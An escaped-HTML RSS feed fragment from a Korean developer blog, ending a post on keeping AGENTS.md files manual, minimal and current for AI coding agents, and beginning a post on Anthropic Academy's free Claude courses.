4. 에이전트가 오래된 정보 기반으로 작업 (앵커링)
   &amp;darr;
5. 잘못된 코드 생성 (성능 하락)
   &amp;darr;
6. 개발자가 수동으로 AGENTS.md 업데이트...
   &amp;darr;
7. 2번으로 돌아감 (반복)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이것이 AGENTS.md를 &quot;살아있는 문서&quot;로 관리해야 하는 이유다. 코드가 바뀔 때마다 AGENTS.md도 함께 갱신하는 루틴을 만들지 않으면, 이 악순환에서 벗어나기 어렵다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8: 파일 관리 전략 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 파일 관리 전략 &amp;mdash; 최신 상태 유지법&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자동 생성 회피&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;많은 개발자 도구들이 &quot;AGENTS.md 자동 생성&quot; 기능을 제공한다. 이를 피하는 방법.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Claude Code의 `/init`:&lt;/b&gt; 사용하지 말 것. 자동 생성 결과는 성능을 저해함&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;GitHub Copilot의 자동 제안:&lt;/b&gt; &quot;AGENTS.md를 생성할까요?&quot; 물어보면 거절&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;수동 작성이 표준:&lt;/b&gt; AGENTS.md는 프로젝트별로 수동 작성해야 함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;수동 유지보수 체크리스트&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AGENTS.md를 최신 상태로 유지하려면:&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;매월 검토 사항&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;새로운 도구/패키지 매니저 도입 여부 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;테스트 실행 시 필수 플래그 변경 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;레거시 코드 상태 업데이트&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;에이전트가 반복 실수하는 새로운 패턴 추가&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-top: 15px; margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Git 관리&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;AGENTS.md 변경을 별도 커밋으로 추적&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;PR에서 AGENTS.md 변경사항을 명시적으로 검토&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;마이너 버전 업데이트 시 AGENTS.md 버전 갱신&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Best Practice&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;AGENTS.md는 프로젝트 설정서(Configuration)이다. 마치 docker-compose.yml이나 .github/workflows를 관리하듯이, 신중하게 관리해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: CLAUDE.md와의 구분 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. CLAUDE.md와의 구분&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLAUDE.md는 더 광범위한 범위를 커버할 수 있다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;대상 사용자&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;내용 범위&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;AGENTS.md&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;AI 에이전트&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;발견 불가능한 지침 (도구, 플래그, 제약)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;CLAUDE.md&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;에이전트 + 개발자&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;아키텍처, 규칙, 의사결정, 노트, 지침&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLAUDE.md는 에이전트용 지침보다 광범위한 정보를 담을 수 있다. 다만 Anthropic 공식 문서는 &lt;b&gt;파일당 200줄 이하&lt;/b&gt;를 권장한다 &amp;mdash; 길수록 컨텍스트를 많이 소비하고 준수율이 낮아지기 때문이다. 여기서도 &lt;b&gt;중복은 피해야 한다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10: 결론 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 결론 및 핵심 요약&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;지금까지 살펴본 연구 데이터와 커뮤니티 의견을 종합하면, AGENTS.md는 다음과 같은 원칙으로 관리해야 한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;AGENTS.md 작성 핵심 원칙&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 15px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;포함:&lt;/b&gt; 에이전트가 발견할 수 없는 정보 (비직관적 도구, 특수 플래그, 제약사항)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;제외:&lt;/b&gt; 에이전트가 자동으로 발견할 수 있는 정보 (디렉토리, 기술 스택, 패키지 목록)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;목표:&lt;/b&gt; 토큰 절감 (16.58%), 실행 속도 단축 (28.64%), 성공률 향상&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;금지:&lt;/b&gt; 자동 생성 (성공률 -0.5~2%, 비용 +20% 이상 &amp;mdash; ETH Zurich 연구 기준)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;관리:&lt;/b&gt; 수동 작성, 매월 검토, 프로젝트 변화에 따른 업데이트&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;진단 도구로서의 마인드셋&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Addy Osmani가 제안하는 가장 중요한 마인드셋 전환은 이것이다:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 20px;&quot;&gt;
&lt;p style=&quot;margin: 0; font-size: 18px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;AGENTS.md = 영구적인 설정 파일이 아니라, 아직 수정되지 않은 코드베이스 냄새(code smell)의 목록&lt;/b&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AGENTS.md에 새로운 줄을 추가해야 한다는 것은, 코드베이스에 &lt;b&gt;에이전트(그리고 아마도 새로 합류한 개발자)를 혼란스럽게 만드는 무언가가 있다&lt;/b&gt;는 신호다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;이 함수 이름이 혼란스럽지만 실은 X를 한다&quot;&lt;/b&gt;고 적어야 한다면 &amp;rarr; 함수 이름을 바꾸는 것이 해결책이다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;이 모듈은 레거시라 특별한 처리가 필요하다&quot;&lt;/b&gt;고 적어야 한다면 &amp;rarr; 레거시 모듈을 리팩토링하는 것이 해결책이다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;테스트를 이 방식으로 실행해야 한다&quot;&lt;/b&gt;고 적어야 한다면 &amp;rarr; 테스트 설정을 기본값으로 만드는 것이 해결책이다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;즉, &lt;b&gt;AGENTS.md를 키우는 것이 아니라, AGENTS.md가 불필요해지도록 코드베이스를 개선하는 것이 올바른 방향&lt;/b&gt;이다. Addy Osmani의 비유를 빌리면: &lt;span style=&quot;color: #0066cc;&quot;&gt;&lt;b&gt;&quot;에이전트에게 필요한 것은 지뢰의 위치다.&quot;&lt;/b&gt;&lt;/span&gt; 에이전트는 코드를 읽고 구조를 파악하는 능력을 이미 갖추고 있다. 정말 필요한 것은 &quot;어디에 함정이 있는지&quot;, &quot;어떤 것을 건드리면 안 되는지&quot;에 대한 정보다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;AGENTS.md에 적으려는 내용&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;근본적 해결책&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;&lt;code&gt;getUserData&lt;/code&gt; 함수는 이름과 달리 사용자 세션 정보를 반환합니다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;함수 이름을 &lt;code&gt;getUserSession&lt;/code&gt;으로 변경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;테스트 실행 시 &lt;code&gt;--no-cache&lt;/code&gt; 옵션을 빼면 안 됩니다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;package.json&lt;/code&gt;의 test 스크립트에 &lt;code&gt;--no-cache&lt;/code&gt;를 기본으로 포함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;이 API는 에러 시 200 OK에 error 필드를 넣어 반환합니다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;적절한 HTTP 상태 코드를 반환하도록 API 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;AGENTS.md = 기술 부채 목록&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이상적인 AGENTS.md는 &lt;b&gt;비어 있는 파일&lt;/b&gt;이다. AGENTS.md에 항목이 많다는 것은 코드베이스에 개선할 부분이 많다는 신호다. 따라서 AGENTS.md를 관리하는 최선의 방법은:&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;필요한 항목을 추가한다 (임시 가이드)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;코드를 수정해서 해당 항목을 불필요하게 만든다 (근본 해결)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;불필요해진 항목을 삭제한다 (정리)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;반복한다&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;최종 체크리스트&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AGENTS.md를 작성할 때 다음을 확인하자:&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;필수 확인 항목&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;[ ] 자동 생성하지 않았는가? (수동 작성)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;[ ] 디렉토리 구조 나열이 없는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;[ ] 기술 스택 목록 나열이 없는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;[ ] README와 중복되는 내용이 없는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;[ ] 발견 불가능한 정보만 담고 있는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;[ ] 32 KiB 크기 제한 내에 들어가는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;[ ] 에이전트가 반복적으로 실수하는 패턴이 있는가?&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 참고 자료 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;ETH Zurich 연구:&lt;/b&gt; &quot;Evaluating AGENTS.md: Are Repository-Level Context Files Helpful for Coding Agents?&quot; (2026.02) &amp;ndash; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://arxiv.org/abs/2602.11988&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://arxiv.org/abs/2602.11988&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Lulla et al.:&lt;/b&gt; ICSE JAWs 2026, 124개 GitHub PR 분석 &amp;ndash; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://arxiv.org/abs/2601.20404&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://arxiv.org/abs/2601.20404&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Addy Osmani:&lt;/b&gt; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://addyosmani.com/blog/agents-md/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://addyosmani.com/blog/agents-md/&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;GeekNews 커뮤니티:&lt;/b&gt; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://news.hada.io/topic?id=26972&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://news.hada.io/topic?id=26972&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;OpenAI Codex 공식 문서:&lt;/b&gt; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.openai.com/codex/guides/agents-md/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://developers.openai.com/codex/guides/agents-md/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 최종 인사 --&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AGENTS.md를 올바르게 관리하면, AI 코딩 도구의 생산성을 크게 높일 수 있다. 자동 생성의 함정을 피하고, 전략적으로 작성하자. 그것이 당신의 프로젝트와 에이전트 모두를 위한 효과적인 선택이 될 것이다.&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>Addy Osmani AGENTS.md</category>
      <category>AGENTS.md 자동 생성</category>
      <category>AI 에이전트 프로젝트 설정</category>
      <category>AI 코딩 에이전트 비용</category>
      <category>Claude Code /init</category>
      <category>Claude Code 비용 절감</category>
      <category>Claude Code 성능 최적화</category>
      <category>CLAUDE.md 작성법</category>
      <category>ETH Zurich AI 에이전트 연구</category>
      <category>컨텍스트 파일 최적화</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/534</guid>
      <comments>https://goddaehee.tistory.com/534#entry534comment</comments>
      <pubDate>Thu, 5 Mar 2026 00:49:38 +0900</pubDate>
    </item>
    <item>
      <title>Anthropic Academy 가이드 &amp;mdash; Claude Code 무료로 배우는 공식 AI 교육 플랫폼</title>
      <link>https://goddaehee.tistory.com/533</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희입니다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;오늘은 Anthropic이 공식 운영하는 무료 AI 학습 플랫폼, &lt;b&gt;Anthropic Academy&lt;/b&gt;에 대해 알아보려고 한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2428&quot; data-origin-height=&quot;1618&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJ3ebB/dJMcacvuqh3/uxyWkUHjdDqJ5SHvcf4OKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJ3ebB/dJMcacvuqh3/uxyWkUHjdDqJ5SHvcf4OKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJ3ebB/dJMcacvuqh3/uxyWkUHjdDqJ5SHvcf4OKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJ3ebB%2FdJMcacvuqh3%2FuxyWkUHjdDqJ5SHvcf4OKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2428&quot; height=&quot;1618&quot; data-origin-width=&quot;2428&quot; data-origin-height=&quot;1618&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Claude를 만든 회사 Anthropic이 직접 제공하는 공식 교육 과정인 만큼, &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;가장 정확하고 최신화된 Claude 활용법과 AI 개발 지식을 무료로 배울 수 있다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Anthropic Academy란?
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;플랫폼 개요&lt;/li&gt;
&lt;li&gt;다른 AI 교육 플랫폼과의 차별점&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;전체 코스 목록 (13개)
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;카테고리별 분류&lt;/li&gt;
&lt;li&gt;코스 한눈에 보기 (표)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;개발자 필수 코스 심층 분석
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Claude Code in Action&lt;/li&gt;
&lt;li&gt;Building with the Claude API&lt;/li&gt;
&lt;li&gt;Introduction to Model Context Protocol&lt;/li&gt;
&lt;li&gt;Model Context Protocol: Advanced Topics&lt;/li&gt;
&lt;li&gt;Introduction to Agent Skills&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Claude 기초 &amp;amp; AI 유창성 시리즈
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Claude 101&lt;/li&gt;
&lt;li&gt;AI Fluency: Framework &amp;amp; Foundations&lt;/li&gt;
&lt;li&gt;역할별 특화 과정&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;클라우드 통합 코스
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Claude with Amazon Bedrock&lt;/li&gt;
&lt;li&gt;Claude with Google Cloud's Vertex AI&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;대상별 학습 경로 추천&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;수강 방법 (등록 절차)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 핵심 요약 박스 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;Anthropic Academy 핵심 요약&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;100% 무료&lt;/b&gt; &amp;middot; 신용카드 불필요 &amp;middot; 유료 업그레이드 없음&lt;br /&gt;&lt;b&gt;공식 수료증&lt;/b&gt; 발급 (모든 13개 코스, LinkedIn 추가 가능)&lt;br /&gt;&lt;b&gt;13개 코스&lt;/b&gt; &amp;mdash; Claude 기초, API 개발, MCP, 클라우드 통합, AI 유창성 시리즈&lt;br /&gt;&lt;b&gt;대상:&lt;/b&gt; 개발자, 비개발자, 교육자, 학생, 비영리단체&lt;br /&gt;&lt;b&gt;URL:&lt;/b&gt; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://anthropic.skilljar.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://anthropic.skilljar.com&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1: Anthropic Academy란? --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Anthropic Academy란?&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;플랫폼 개요&lt;/h3&gt;
